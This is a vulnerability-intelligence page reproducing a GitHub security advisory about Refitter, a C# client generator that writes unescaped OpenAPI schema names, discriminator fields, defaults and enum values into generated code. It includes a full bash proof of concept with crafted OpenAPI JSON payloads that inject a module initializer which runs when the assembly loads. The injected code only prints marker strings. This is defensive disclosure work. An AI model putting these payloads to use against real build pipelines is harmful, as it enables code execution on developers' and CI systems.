llamaCVEVulnerability Intelligence
/
Advisory · GitHub · NuGet · Refitter

GHSA-H924-JFHP-9VJR

Refitter emits schema property names, discriminator fields, defaults and enum values into C# literals unescaped

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
9.8
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición2 dDesde la divulgación, 17 nov 2026, 1:18 p. m.
Detección2 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
01:18 p. m.
07:50 p. m.
02:38 a. m.
01:18 p. m.
04:38 a. m.
07:58 p. m.
11:18 a. m.
02:38 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-H924-JFHP-9VJR divulgada · CVSS 9.8 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Details

Refitter generates a C# Refit client from an OpenAPI description by rendering NJsonSchema's C# templates in-process. The developer who runs `refitter` on an attacker-authored document and then builds the generated project executes the author's code: a double quote in a schema property's JSON name or in `discriminator.propertyName` closes the generated string literal, and a string given as a numeric default or integer enum entry is written into the code unquoted; a top-level `[ModuleInitializer]` the author supplies runs when the generated assembly is loaded, before `Main` and without any call to the generated client. The default and enum value positions are in NJsonSchema's templates, which Refitter ships; NJsonSchema has no private reporting channel (source reads, 2026-11-16). The generated project compiles with 0 warnings and 0 errors.

Refitter's own documentation states the guarantee the positions break: the Code Generation Pipeline page says the validator "checks strings that end up inside C# attributes", and the 2.1.2 fix's pull request (the one the release notes cite) says it will "Escape all spec-derived attribute strings ... always-on ... and is the primary defense". A schema property's JSON name in `[JsonPropertyName]`, `discriminator.propertyName` in `[JsonInheritanceConverter]` and a mapping key in `[JsonDerivedType(..., typeDiscriminator:)]` are strings that end up inside C# attributes; the value positions are the enum/default sinks the advisories say are escaped.

The three name positions are in NJsonSchema's `Class.liquid`, which Refitter ships and renders: `[JsonPropertyName("{{ property.Name }}")]` (`Class.liquid:63`; `PropertyModel.Name` returns the schema property's JSON name raw), `[JsonInheritanceConverter(typeof(X), "{{ Discriminator }}")]` (`Class.liquid:11`; `ClassTemplateModel.Discriminator` returns `OpenApiDiscriminator.PropertyName` raw), and `[JsonDerivedType(typeof(X), typeDiscriminator: "{{ derivedClass.Discriminator }}")]` (`Class.liquid:19`; the discriminator mapping key, or the derived schema name when no mapping is given, `ClassTemplateModelBase.cs:67-70`). The mapping-key position is reached with `--use-polymorphic-serialization`. Each was generated with `refitter <spec> --namespace GeneratedCode` (no `--skip-validation`, no custom template), built, and printed MARKER-PROPERTY, MARKER-DISCRIMINATOR and MARKER-DERIVEDTYPE before `APP-STARTED` on Refitter 2.3.1 and 2.4.0-preview.126.

The two default-configuration value positions are also NJsonSchema's. A schema property declared `integer` or `number` whose `default` is a JSON string is written into the C# property initializer by `Class.liquid:110` (`= {{ property.DefaultValue }};`): `ValueGeneratorBase.GetDefaultValue` picks the numeric branch from the declared type, and `ConvertToNumberToStringCore` only lets through strings that match the bare-number regex `^[0-9]+(\.[0-9]+)?$` (`ValueGeneratorBase.cs:142`); any other string is concatenated raw. An integer-typed `enum` whose single entry is a JSON string is written into the C# member initializer by `Enum.liquid:28-31` (`{{ enum.Name }} = {{ enum.InternalValue }},`), and `EnumTemplateModel.cs:105` sets `InternalValue = value.ToString()` while only the member name is sanitized. Both were generated with default options and printed MARKER-DEFAULT and MARKER-ENUM before `APP-STARTED` on 2.3.1 and 2.4.0-preview.126, with 0 warnings and 0 errors. Two further positions of the same class need one flag each and are not default configuration: a query-parameter default with `--optional-nullable-parameters` and a dynamic-querystring property default with `--use-dynamic-querystring-parameters` (`ParameterDefaultValueFormatter.cs:29-61`).

The same value positions were measured through the packaged entry points: Refitter.SourceGenerator 2.3.1, whose `RefitterSourceGenerator.cs:96-104` passes `validator: null`, generated a project whose build printed MARKER-DEFAULT and MARKER-ENUM; Refitter.MSBuild 2.3.1, which spawns the bundled CLI with `--settings-file`, printed the same; and when `openApiPath` was an HTTP URL served locally, the CLI and the source generator both printed MARKER-DEFAULT. `AttributeStringValidator` is only a refusal gate for paths, header parameter names, content-type keys and API-key security-scheme names, with no `components/schemas` pass; `--skip-validation` removes even that gate while `ParameterNaming.EscapeString` still escapes its four own sinks.

The doc-comment position (a Unicode line separator in a description ended the generated `///` comment) was fixed publicly by PR #1397 (merged 2026-11-13, present in 2.4.0-preview.126) and is not part of this report.

Refitter's 2.1.2 fix (PR #1178, released in 2.1.2 on 2026-07-29) is titled "Fix RCE attribute injection in generated Refit clients" and says "Escape all spec-derived attribute strings ... This is always-on ... and is the primary defense"; it escapes the route, header-name, content-type and `AliasAs` sinks. The five positions above are outside it. NJsonSchema's templates carry the same raw interpolation on `main` at 2def07e (2026-11-11) and in NJsonSchema.CodeGeneration.CSharp 11.6.2; NJsonSchema has private vulnerability reporting disabled and no SECURITY.md, so Refitter is the fileable surface.

Proof of Concept

#!/usr/bin/env bash
# save this block as poc.sh and run: bash poc.sh
# Refitter generated-code injection through NJsonSchema's C# templates: a
# double quote in a schema property's JSON name, in discriminator.propertyName,
# in a numeric-typed property's string default, or in an integer-typed enum's
# string entry closes the generated C# literal, and the injected
# [ModuleInitializer] runs when the generated assembly loads.
# Default options throughout: no --skip-validation, no custom templates.
set -u
export DOTNET_CLI_TELEMETRY_OPTOUT=1 DOTNET_NOLOGO=1
if ! command -v dotnet >/dev/null 2>&1; then
  curl -sSL https://dot.net/v1/dotnet-install.sh -o dotnet-install.sh
  bash dotnet-install.sh --channel 8.0 --install-dir "$PWD/dotnet" >/dev/null 2>&1
  export DOTNET_ROOT="$PWD/dotnet"
  export PATH="$PWD/dotnet:$PATH"
fi
command -v apk >/dev/null 2>&1 && apk add --no-cache icu-libs icu-data-full >/dev/null 2>&1
dotnet --version >/dev/null 2>&1 || export DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1
echo "dotnet $(dotnet --version)"
echo "install $(dotnet tool install --tool-path ./tools Refitter --version 2.3.1 --add-source https://api.nuget.org/v3/index.json 2>&1 | tail -1)"
echo "install $(dotnet tool install --tool-path ./tools126 Refitter --version 2.4.0-preview.126 --add-source https://api.nuget.org/v3/index.json 2>&1 | tail -1)"
echo "install $(dotnet tool install --tool-path ./tools200 Refitter --version 2.0.0 --add-source https://api.nuget.org/v3/index.json 2>&1 | tail -1)"

cat > app.csproj <<'XML'
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <Nullable>disable</Nullable>
    <ImplicitUsings>disable</ImplicitUsings>
    <AssemblyName>app</AssemblyName>
    <NoWarn>CS0618;CS0612;CS8632;CS8618</NoWarn>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Refit" Version="8.0.0" />
  </ItemGroup>
</Project>
XML
cat > Program.cs <<'CS'
internal static class Program
{
    private static void Main() => System.Console.WriteLine("APP-STARTED");
}
CS
cat > spec-property.json <<'JSON'
{"openapi":"3.0.0","info":{"title":"inject","version":"1.0.0"},"paths":{"/pets":{"get":{"operationId":"getPets","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"$ref":"#/components/schemas/Pet"}}}}}}}},"components":{"schemas":{"Pet":{"type":"object","properties":{"name":{"type":"string"},"a\")] public string Dummy0 { get; set; }\n}\npublic partial class InjectedPropertyMarker { [System.Runtime.CompilerServices.ModuleInitializer] internal static void Init() { System.Console.WriteLine(\"MARKER-PROPERTY\"); } }\npublic partial class PropertySink {\n[System.Obsolete(\"":{"type":"string"}}}}}}
JSON
cat > spec-discriminator.json <<'JSON'
{"openapi":"3.0.0","info":{"title":"inject","version":"1.0.0"},"paths":{"/pets":{"get":{"operationId":"getPets","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"$ref":"#/components/schemas/Pet"}}}}}}}},"components":{"schemas":{"Pet":{"type":"object","discriminator":{"propertyName":"petType\")] public partial class Dummy1 { }\npublic partial class InjectedDiscriminatorMarker { [System.Runtime.CompilerServices.ModuleInitializer] internal static void Init() { System.Console.WriteLine(\"MARKER-DISCRIMINATOR\"); } }\n[System.Obsolete(\""},"properties":{"name":{"type":"string"}}},"Dog":{"allOf":[{"$ref":"#/components/schemas/Pet"},{"type":"object","properties":{"bark":{"type":"boolean"}}}]}}}}
JSON
cat > spec-default.json <<'JSON'
{"openapi":"3.0.0","info":{"title":"inject","version":"1.0.0"},"paths":{"/p":{"get":{"operationId":"GetP","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"$ref":"#/components/schemas/Dto"}}}}}}}},"components":{"schemas":{"Dto":{"type":"object","properties":{"name":{"type":"string"},"age":{"type":"integer","default":"0; } public partial class InjectedDefaultMarker { [System.Runtime.CompilerServices.ModuleInitializer] internal static void Init() { System.Console.WriteLine(\"MARKER-DEFAULT\"); } } public partial class ResumeDefault { public int Placeholder"}}}}}}
JSON
cat > spec-enum.json <<'JSON'
{"openapi":"3.0.0","info":{"title":"inject","version":"1.0.0"},"paths":{"/p":{"get":{"operationId":"GetP","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"$ref":"#/components/schemas/Dto"}}}}}}}},"components":{"schemas":{"Dto":{"type":"object","properties":{"name":{"type":"string"},"kind":{"$ref":"#/components/schemas/Kind"}}},"Kind":{"type":"integer","enum":["0 } public partial class InjectedEnumMarker { [System.Runtime.CompilerServices.ModuleInitializer] internal static void Init() { System.Console.WriteLine(\"MARKER-ENUM\"); } } public enum ResumeEnum { A"]}}}}
JSON
cat > spec-derivedtype.json <<'JSON'
{"openapi":"3.0.0","info":{"title":"inject","version":"1.0.0"},"paths":{"/pets":{"get":{"operationId":"getPets","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"$ref":"#/components/schemas/Pet"}}}}}}}},"components":{"schemas":{"Pet":{"type":"object","discriminator":{"propertyName":"petType","mapping":{"Dog\")] public partial class InjectedDerivedTypeMarker { [System.Runtime.CompilerServices.ModuleInitializer] internal static void Init() { System.Console.WriteLine(\"MARKER-DERIVEDTYPE\"); } } //":"#/components/schemas/Dog"}},"properties":{"name":{"type":"string"}}},"Dog":{"allOf":[{"$ref":"#/components/schemas/Pet"},{"type":"object","properties":{"bark":{"type":"boolean"}}}]}}}}
JSON
cat > spec-plain.json <<'JSON'
{"openapi":"3.0.0","info":{"title":"inject","version":"1.0.0"},"paths":{"/pets":{"get":{"operationId":"getPets","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"$ref":"#/components/schemas/Pet"}}}}}}}},"components":{"schemas":{"Pet":{"type":"object","discriminator":{"propertyName":"petType"},"properties":{"name":{"type":"string"},"age":{"type":"integer"}}},"Dog":{"allOf":[{"$ref":"#/components/schemas/Pet"},{"type":"object","properties":{"bark":{"type":"boolean"}}}]}}}}
JSON
cat > spec-path.json <<'JSON'
{"openapi":"3.0.0","info":{"title":"inject","version":"1.0.0"},"paths":{"/plain\"":{"get":{"operationId":"getPlain","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"type":"string"}}}}}}}}}
JSON

gen() { # gen <dir> <tool> <spec> [refitter options]
  d=$1; t=$2; s=$3; shift 3
  mkdir -p "$d"; cp app.csproj Program.cs "$d"/
  echo "--- generate $d from $s ---"
  "$t" "$s" --namespace GeneratedCode --output "$d/Generated.cs" "$@" >"$d/gen.log" 2>&1
  echo "refitter exit=$?"
  grep -m1 "contains illegal characters" "$d/gen.log" || true
  [ -f "$d/Generated.cs" ] && grep -n "Injected" "$d/Generated.cs" | head -2
  return 0
}
br() { # br <dir>
  d=$1
  echo "--- build and run $d ---"
  ( cd "$d" && dotnet build -v q -nologo >build.log 2>&1; echo "build exit=$?"; grep -E "Build succeeded|Warning\(s\)|Error\(s\)|error " build.log | head -4 )
  ( cd "$d" && dotnet "bin/Debug/net8.0/app.dll" 2>&1 )
  echo "run exit=$?"
}

echo "===== 1. property-name payload, Refitter 2.3.1 ====="
gen a1 ./tools/refitter ./spec-property.json
br a1
echo "===== 2. discriminator.propertyName payload, Refitter 2.3.1 ====="
gen a2 ./tools/refitter ./spec-discriminator.json
br a2
echo "===== 3. integer-typed property whose default is a JSON string, Refitter 2.3.1 ====="
gen a3 ./tools/refitter ./spec-default.json
br a3
echo "===== 4. integer-typed enum whose entry is a JSON string, Refitter 2.3.1 ====="
gen a4 ./tools/refitter ./spec-enum.json
br a4
echo "===== 5. discriminator mapping key, Refitter 2.3.1 --use-polymorphic-serialization ====="
gen a5 ./tools/refitter ./spec-derivedtype.json --use-polymorphic-serialization
br a5
echo "===== 6. control: plain document, Refitter 2.3.1 ====="
gen a6 ./tools/refitter ./spec-plain.json
br a6
echo "===== 7. control: a double quote in a path is refused before generation, Refitter 2.3.1 ====="
gen a7 ./tools/refitter ./spec-path.json
echo "===== proof done ====="

# --- further measurements: preview release, opt-in flags, entry points, URL
# Refitter.SourceGenerator 2.3.1 is built against System.Collections.Immutable 10.0.0
if ! dotnet --list-sdks 2>/dev/null | grep -q '^10\.'; then
  curl -sSL https://dot.net/v1/dotnet-install.sh -o dotnet-install.sh
  bash dotnet-install.sh --channel 10.0 --install-dir "$PWD/dotnet" >/dev/null 2>&1
  export DOTNET_ROOT="$PWD/dotnet"
  export PATH="$PWD/dotnet:$PATH"
fi
command -v apk >/dev/null 2>&1 && apk add --no-cache python3 >/dev/null 2>&1
echo "dotnet $(dotnet --version)"
echo "===== 8. property-name payload, Refitter 2.4.0-preview.126 ====="
gen a8 ./tools126/refitter ./spec-property.json
br a8
echo "===== 9. discriminator.propertyName payload, Refitter 2.4.0-preview.126 ====="
gen a9 ./tools126/refitter ./spec-discriminator.json
br a9
echo "===== 10. integer-typed property default, Refitter 2.4.0-preview.126 ====="
gen a10 ./tools126/refitter ./spec-default.json
br a10
echo "===== 11. integer-typed enum entry, Refitter 2.4.0-preview.126 ====="
gen a11 ./tools126/refitter ./spec-enum.json
br a11
echo "===== 11b. discriminator mapping key, Refitter 2.4.0-preview.126 --use-polymorphic-serialization ====="
gen a11b ./tools126/refitter ./spec-derivedtype.json --use-polymorphic-serialization
br a11b
cat > spec-contenttype.json <<'JSON'
{"openapi":"3.0.0","info":{"title":"inject","version":"1.0.0"},"paths":{"/plain":{"get":{"operationId":"getPlain","responses":{"200":{"description":"ok","content":{"application/json\")] Task<string> KeepAlive();\n}\npublic partial class InjectedContentTypeMarker { [System.Runtime.CompilerServices.ModuleInitializer] internal static void Init() { System.Console.WriteLine(\"MARKER-CONTENTTYPE\"); } }\npublic interface ContentTypeSink {\n[Headers(\"":{"schema":{"type":"string"}}}}}}}}}
JSON
echo "===== 12. control: content-type payload at the release the class was fixed in, Refitter 2.0.0 ====="
gen a12 ./tools200/refitter ./spec-contenttype.json
br a12
cat > spec-param.json <<'JSON'
{"openapi":"3.0.0","info":{"title":"inject","version":"1.0.0"},"paths":{"/p":{"get":{"operationId":"GetP","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"$ref":"#/components/schemas/Dto"}}}}},"parameters":[{"name":"n","in":"query","required":false,"schema":{"type":"integer","default":"0); } public partial class InjectedParamMarker { [System.Runtime.CompilerServices.ModuleInitializer] internal static void Init() { System.Console.WriteLine(\"MARKER-PARAM\"); } } public partial interface IResumeParam { Task M2("}}]}}},"components":{"schemas":{"Dto":{"type":"object","properties":{"name":{"type":"string"}}}}}}
JSON
cat > spec-dynquery.json <<'JSON'
{"openapi":"3.0.0","info":{"title":"inject","version":"1.0.0"},"paths":{"/p":{"get":{"operationId":"GetP","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"$ref":"#/components/schemas/Dto"}}}}},"parameters":[{"name":"a","in":"query","schema":{"type":"string"}},{"name":"n","in":"query","schema":{"type":"integer","default":"0; } public partial class InjectedDynMarker { [System.Runtime.CompilerServices.ModuleInitializer] internal static void Init() { System.Console.WriteLine(\"MARKER-DYNQUERY\"); } } public partial class ResumeDyn { public int Placeholder"}}]}}},"components":{"schemas":{"Dto":{"type":"object","properties":{"name":{"type":"string"}}}}}}
JSON
echo "===== 13. query-parameter default, opt-in --optional-nullable-parameters, Refitter 2.3.1 ====="
gen a13 ./tools/refitter ./spec-param.json --optional-nullable-parameters
br a13
echo "===== 14. dynamic-querystring property default, opt-in --use-dynamic-querystring-parameters, Refitter 2.3.1 ====="
gen a14 ./tools/refitter ./spec-dynquery.json --use-dynamic-querystring-parameters
br a14
sgen() { # sgen <dir> <spec-or-url>
  d=$1; s=$2
  mkdir -p "$d"; cp Program.cs "$d"/
  case "$s" in http*) ;; *) cp "$s" "$d"/ ;; esac
  cat > "$d/sg.csproj" <<'XML'
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <Nullable>disable</Nullable>
    <ImplicitUsings>disable</ImplicitUsings>
    <AssemblyName>app</AssemblyName>
    <NoWarn>CS0618;CS0612;CS8632;CS8618</NoWarn>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Refitter.SourceGenerator" Version="2.3.1" />
    <PackageReference Include="Refit" Version="8.0.0" />
  </ItemGroup>
</Project>
XML
  printf '{"openApiPath":"%s","namespace":"GeneratedCode","outputFilename":"Refit.cs","outputFolder":"Generated"}\n' "$s" > "$d/gen.refitter"
  echo "--- source generator: build $d twice (build 1 writes the generated file, build 2 compiles it) ---"
  ( cd "$d" && dotnet build -v q -nologo >build1.log 2>&1; echo "build 1 exit=$?"; grep -E "Build succeeded|Warning\(s\)|Error\(s\)|error |CS8785" build1.log | head -3 )
  ( cd "$d" && dotnet build -v q -nologo >build2.log 2>&1; echo "build 2 exit=$?"; grep -E "Build succeeded|Warning\(s\)|Error\(s\)|error " build2.log | head -3 )
  ( cd "$d" && dotnet "bin/Debug/net8.0/app.dll" 2>&1 )
  echo "run exit=$?"
}
mgen() { # mgen <dir> <spec> <extra-msbuild-properties> <run:yes|no>
  d=$1; s=$2; extra=$3; run=${4:-yes}
  mkdir -p "$d"; cp Program.cs "$s" "$d"/
  cat > "$d/mb.csproj" <<XML
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <Nullable>disable</Nullable>
    <ImplicitUsings>disable</ImplicitUsings>
    <AssemblyName>app</AssemblyName>
    <NoWarn>CS0618;CS0612;CS8632;CS8618</NoWarn>
    $extra
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Refitter.MSBuild" Version="2.3.1" />
    <PackageReference Include="Refit" Version="8.0.0" />
  </ItemGroup>
</Project>
XML
  printf '{"openApiPath":"%s","namespace":"GeneratedCode","outputFilename":"Refit.cs","outputFolder":"obj/Generated"}\n' "$s" > "$d/gen.refitter"
  echo "--- MSBuild task: build $d ---"
  ( cd "$d" && dotnet build -v q -nologo >build.log 2>&1; echo "build exit=$?"; grep -E "Build succeeded|Warning\(s\)|Error\(s\)|error |contains illegal characters" build.log | head -4 )
  if [ "$run" = yes ]; then ( cd "$d" && dotnet "bin/Debug/net8.0/app.dll" 2>&1 ); echo "run exit=$?"; fi
}
echo "===== 15. source generator, integer property default, Refitter.SourceGenerator 2.3.1 ====="
sgen s1 ./spec-default.json
echo "===== 16. source generator, integer enum entry, Refitter.SourceGenerator 2.3.1 ====="
sgen s2 ./spec-enum.json
echo "===== 17. MSBuild task, integer property default, Refitter.MSBuild 2.3.1 ====="
mgen m1 ./spec-default.json "" yes
echo "===== 18. MSBuild task, integer enum entry, Refitter.MSBuild 2.3.1 ====="
mgen m2 ./spec-enum.json "" yes
echo "===== 19. MSBuild task: validator control on the path payload, Refitter.MSBuild 2.3.1 ====="
mgen m3 ./spec-path.json "" no
echo "===== 20. same path payload with RefitterSkipValidation=true (escaped into the attribute, nothing runs) ====="
mgen m4 ./spec-path.json "<RefitterSkipValidation>true</RefitterSkipValidation>" yes
if command -v python3 >/dev/null 2>&1; then
  echo "===== 21. URL-fetched description: CLI, Refitter 2.3.1 ====="
  mkdir -p www && cp spec-default.json www/
  python3 -m http.server 18080 --bind 127.0.0.1 --directory www </dev/null >/dev/null 2>&1 &
  echo $! > srv.pid
  sleep 2
gen u1 ./tools/refitter http://127.0.0.1:18080/spec-default.json
  br u1
  echo "===== 22. URL-fetched description: source generator, Refitter.SourceGenerator 2.3.1 ====="
  sgen u2 http://127.0.0.1:18080/spec-default.json
  kill "$(cat srv.pid)" 2>/dev/null || true
  rm -f srv.pid
else
  echo "python3 not available: URL measurement skipped"
fi
echo "===== all measurements done ====="

Impact

The author of an OpenAPI document that a developer or CI pipeline generates a Refitter client from can execute code in the build environment and in every application that loads the generated assembly. Before the generated client is built, the document is pure data: an author who can only supply the document cannot otherwise run code in the consumer's build environment. The payload rides in a schema property name, `discriminator.propertyName`, a discriminator mapping key, a schema property's `default` or an integer-typed enum entry; the generated project compiles with 0 warnings and 0 errors, and the `[ModuleInitializer]` runs when the assembly loads, before `Main`, without any call to the generated client. This is the impact the maintainer rated critical for GHSA-3fhm-p725-h3g3, GHSA-p32v-8v8j-j534 and GHSA-58x9-vjvp-6mx8, reached through fields those fixes did not cover. The 9.8 vector is the vendor's own CVSS v4.0 vector for those three advisories (`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`, 9.3 critical) rendered in CVSS v3.1, which scores the same metrics 9.8; it does not rate the defect above the vendor's own assessment.

Remediation

Affected range: 2.3.1 through 2.4.0-preview.126, the two releases run; releases between them were not run. Escape the discriminator property name, every schema property JSON name, every discriminator mapping key, every `default` rendered for a numeric-typed property and every entry rendered for an integer-typed enum for a C# literal before the `Class` and `Enum` templates render them (doubling `"`, escaping `\` and control characters, as `ParameterNaming.EscapeString` already does for the route and header sinks), or extend `AttributeStringValidator` with a pass over `components/schemas` that rejects a quote, backslash or control character in those fields. Escaping is preferred for property names because they are wire names and cannot be renamed. The positions are in NJsonSchema's templates and the same report applies upstream, which has no private channel. The templates are unchanged in 2.4.0-preview.126 (NuGet, 2026-11-16) and on `main` at d3d7382.

Disclosure Notes

Found and measured on 2026-11-16 against the released Refitter 2.3.1 (latest stable) and 2.4.0-preview.126 (latest preview, published 2026-11-16) dotnet tools from NuGet, with .NET SDK 8.0.428 for the CLI and 10.0.404 for the source-generator project, generated and compiled on a clean Linux host. Three of the repository's own advisories say the value sinks are escaped: GHSA-x6w4-f264-3vvr — "No RCE: Refitter emits Refit interfaces with no baseUrl string literal (Refit sets the base address at runtime), enum values use C# verbatim-string doubling, and string defaults are escaped."; GHSA-3fhm-p725-h3g3 — "This is distinct from the value sinks (enum/default), which are escaped; the path sink has no escaping."; GHSA-58x9-vjvp-6mx8 — "The query `AliasAs` and value sinks (enum, default) are escaped; the gap is in the attribute-string emission." Each holds only when the JSON value's runtime type matches the declared type: a JSON string default on an `integer`-typed property and a JSON string entry in an `integer`-typed enum skip the string-literal path and are concatenated raw, and the generated assembly prints MARKER-DEFAULT and MARKER-ENUM at load. No public issue, pull request, advisory or CVE names the schema-name or value positions: the repository's five security advisories cover the $ref resolver (GHSA-4f49-pm8q-mx4f, GHSA-x6w4-f264-3vvr) and the path, content-type and header-name attribute sinks (GHSA-3fhm-p725-h3g3, GHSA-p32v-8v8j-j534, GHSA-58x9-vjvp-6mx8); searches of the repository's issues and pull requests for JsonPropertyName, discriminator, JsonInheritanceConverter, ModuleInitializer, default value, schema name and code injection return only the closed fix pull requests (#1175, #1178) for the 2.1.2 advisories, the public doc-comment fix #1397, and unrelated naming, inheritance and schema-trimming work. The doc-comment position was fixed publicly by PR #1397, merged 2026-11-13 and present in 2.4.0-preview.126, and is not part of this report. The three 2.1.2 advisories name a path key, a content-type key and a header parameter name only, and carry CVSS v4.0 9.3 (critical) with no CVSS v3 vector. NJsonSchema's templates carry the same raw interpolation on `main` at 2def07e (2026-11-11) and in NJsonSchema.CodeGeneration.CSharp 11.6.2; NJsonSchema has private vulnerability reporting disabled and no SECURITY.md. The affected range names only the releases that were run for the vector; earlier and intermediate releases were not run.

Refitter 2.4.0 was published on 2026-11-16, after the run; tag `2.4.0` is commit `d3d7382b4244762e3dd8e838be00b19273f86bae`, whose `src/Refitter.Core/CodeGeneration/CustomTemplateFactory.cs` still contains `[System.Text.Json.Serialization.JsonPolymorphic(TypeDiscriminatorPropertyName = "{{ Discriminator }}")]`, so the finding is present there by source read; 2.4.0 was not run.

When you publish this advisory, please request a CVE for it with the Request CVE button on the advisory page. Please credit the report to EZO Labs Security (GitHub user superbot-helper; https://ezolabs.net, tony@ezolabs.net).

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
Refitter≥ 2.3.1 ≤ 2.4.0-preview.126
2.3.1
2.4.0-preview.126
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
NuGetRefitter
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/christianhelle/refitter/security/advisories/GHSA-h924-jfhp-9vjr

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.